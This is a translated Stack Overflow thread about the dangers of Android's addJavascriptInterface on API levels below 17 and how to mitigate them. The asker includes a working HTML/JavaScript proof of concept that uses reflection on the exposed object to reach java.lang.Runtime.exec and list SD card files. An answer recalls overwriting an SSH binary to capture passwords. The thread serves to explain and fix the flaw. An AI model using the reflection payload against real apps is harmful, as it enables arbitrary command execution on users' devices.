簡體   English   中英

Android JavascriptInterface 安全性?

[英]Android JavascriptInterface Security?

從文檔: http : //developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29

"使用 addJavascriptInterface() 允許 JavaScript 控制您的應用程序。這可能是一個非常有用的功能或危險的安全問題。當 WebView 中的 HTML 不可信時(例如,部分或全部 HTML 由某些人或進程提供) ),然后攻擊者可以注入 HTML 來執行您的代碼和攻擊者選擇的任何代碼。不要使用 addJavascriptInterface(),除非此 WebView 中的所有 HTML 都是您編寫的。綁定的 Java 對象運行在另一個線程而不是在構造它的線程中。

假設我有一個只顯示自定義對話框或開始下載到 SD 卡的界面。 這對任何網址使用都會不安全嗎? 攻擊頁面如何使用該接口來運行攻擊者選擇的任何代碼?

更新:根據文檔

此方法可用於允許 JavaScript 控制宿主應用程序。 這是一個強大的功能,但也給針對 API 級別 JELLY_BEAN 或更低級別的應用程序帶來了安全風險,因為 JavaScript 可以使用反射來訪問注入對象的公共字段。 在包含不受信任內容的 WebView 中使用此方法可能允許攻擊者以意外方式操縱主機應用程序,使用主機應用程序的權限執行 Java 代碼。 在可能包含不受信任內容的 WebView 中使用此方法時要格外小心。

有沒有一個例子說明這種情況如何發生? 這只是說如果 DOWNLOADINTERFACE.dangerousfunction是該類的公共方法,則可以調用它?

更新:

我根據下面的漏洞利用示例進行了測試,網站可以通過Android 4.4、4.1和3.2的接口訪問系統。

但是,我在 Android 2.2 或 2.3 上沒有看到此錯誤,該 hack 只會導致強制關閉。 除了不使用 JSInterface 之外,防止這種 hack 的最佳方法是什么? 我可以包含這樣的虛假函數,以防止未經授權調用函數嗎?

public Object getClass() {
  //throw error, return self, or something?  
}

或者使用ajax和攔截調用重寫所有內容? 這會導致更好/更差的性能嗎?

更新:

我成功地移除了 JS 接口,並通過為所有 window.(interface) 函數定義 window.open(specialurl) 命令並覆蓋 shouldOverrideUrlLoading 中的那些來替換功能。 奇怪的是,在某些情況下必須使用 window.open(),否則 webview 會中斷顯示(比如 javascript 正在停止?),而在其他情況下,應該使用 location.replace 否則它只會顯示“interface://specialdata "無法找到消息。

(我設置 settings.setJavaScriptCanOpenWindowsAutomatically(true) 所以 window.open 一直在 JS 中工作。)

任何人都知道用這種行為重寫應用程序的最佳方法嗎?

從javascript訪問sdcard文件的示例:

<html>
  <head>
    <script>

      function getContents(inputStream)
    {
        var contents = "";
        var b = inputStream.read();
        var i = 1;
        while(b != -1) {
            var bString = String.fromCharCode(b);
            contents += bString;
            b = inputStream.read();
        }
        return contents;
    }

       function execute(cmdArgs)
     {
       //  go_back_js_interface_name is the registered java interface.
       //  it is an object, but is not iterable with for (var i in interface) {...}.
       return go_back_js_interface_name.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
     } 

      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));

    </script>
  </head>
  <body>
    Test
  </body>
</html>

因此,默認情況下,在 WebView 中運行的代碼是沙盒化的——也就是說,它無法執行危險的本機內容,例如寫入文件系統或訪問地址簿等......

大多數 javaScript 都屬於這一類,在顯示自定義對話框的情況下,沒有危險。

addJavaScriptInterface 允許您將本機手機內容暴露給 javascript,而危險在於,如果您沒有正確編寫 javaScriptInterface,您最終可能會將一個人的手機暴露於黑客的真正危險之下。

我認為使用示例最容易理解。

假設您編寫了一個 javaScript 接口,您可以在其中從 javaScript 調用一個函數,該函數將文件寫入 android 文件系統上的路徑。 例如:

writeToFile(data, safepath);

javascript 全部來自您的服務器,但黑客以某種方式破壞了您的服務器並更改了加載到您的 WebView 中的 HTML/JavaScript 以運行:

writeToFile(dangerousdata, pathtosomeotherfile);

現在我還沒有很好地檢查 android 包的布局,不知道如果我是黑客,我想覆蓋/更改哪個文件,但是當我在自己的 linux 機器上時,我們曾經與朋友進行過很少的黑客大戰更年輕,你會使用這樣的調用來覆蓋像 SSH 二進制文件這樣的東西 - 然后你就可以記錄所有進入的密碼。如果你可以用自己的方式覆蓋或擴展原始 apk,你可以將這個人的手機變成您可以遠程登錄的服務器(由於應用程序是沙盒化的,我不確定這是否可行)。 即使您所能做的只是覆蓋一個關鍵數據文件,您也可以讓用戶(在這種情況下是黑客)訪問安全憑證、密碼等各種東西。

多年前有一次,我們在 linux 機器上的 sendmail 進程中發現了一個漏洞,該漏洞允許我們啟動 shell。 我們以郵件用戶身份登錄到我們的服務器。 作為郵件用戶,您無能為力,但是一旦您在機器上,它就讓您有機會四處尋找其他弱點。

所以你可以安全地做你想做的事,只要確保你讓 JavaScript 界面非常簡單和愚蠢——它只寫入一個位置的一個文件,你寫的數據可能是文本或無法獲取的數據稍后解釋。 對於對話框,我一直這樣做 - 也不需要任何特殊的本機調用。 這是制作一個可以在用戶安裝您的應用程序后更新的頁面的好方法。

希望這是有幫助的!

修復:

對於運行 Android 4.2 的應用程序,所有使用 JavascriptInterface 注釋的公共方法都可以從 JavaScript 訪問。

因此,如果您為SDK 版本 17 或更高版本開發應用程序,則必須將@JavascriptInterface 注釋添加到您希望可用於 JavaScript 的任何方法中。

如果您不提供注釋,則在 Android 4.2 或更高版本上運行時,您的網頁將無法訪問該方法。

要了解更多,請單擊此處

概述

為了避免addJavaScriptInterface()的安全問題,您需要設計原生代碼和 JavaScript 之間的通信協議。

下面是通信協議的簡單設計。

在 JavaScript 中

為了簡化通信協議,您希望 Android 處理的每個函數調用都應遵循以下模式

/*
classname string
method name string
params jsonObject
*/
value=classname+":"+methodname+"?"+"params";
window.promt(value,"");

在 Java 中

一個可以覆蓋WebChromeClientonJsPrompt()。

WebChromeClient.onJsPrompt(WebView view, String origin, String message, String defaultValue, final JsPromptResult result){
//Parse className
//Parse methodName 
//Parse params
//Create an instance of the target class by reflection. Call the target method with params.
//Return true if all params in message valid, otherwise return false.
}

科爾多瓦框架

這也是Cordova 插件的工作方式。 Cordova雖然比較復雜,但是在“JS to Native Call”中增加了回調函數,允許原生代碼調用JavaScript

對於在 2020 年檢查這一點的任何人來說,安全問題似乎只影響低於 17 (Android 4.2) 的 Android API。 所以,如果你的minSdkVersion17或更高,那么你應該是安全的。

以下是參考:

此安全漏洞適用於除 api 級別 >= 17 之外的所有本機接口。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM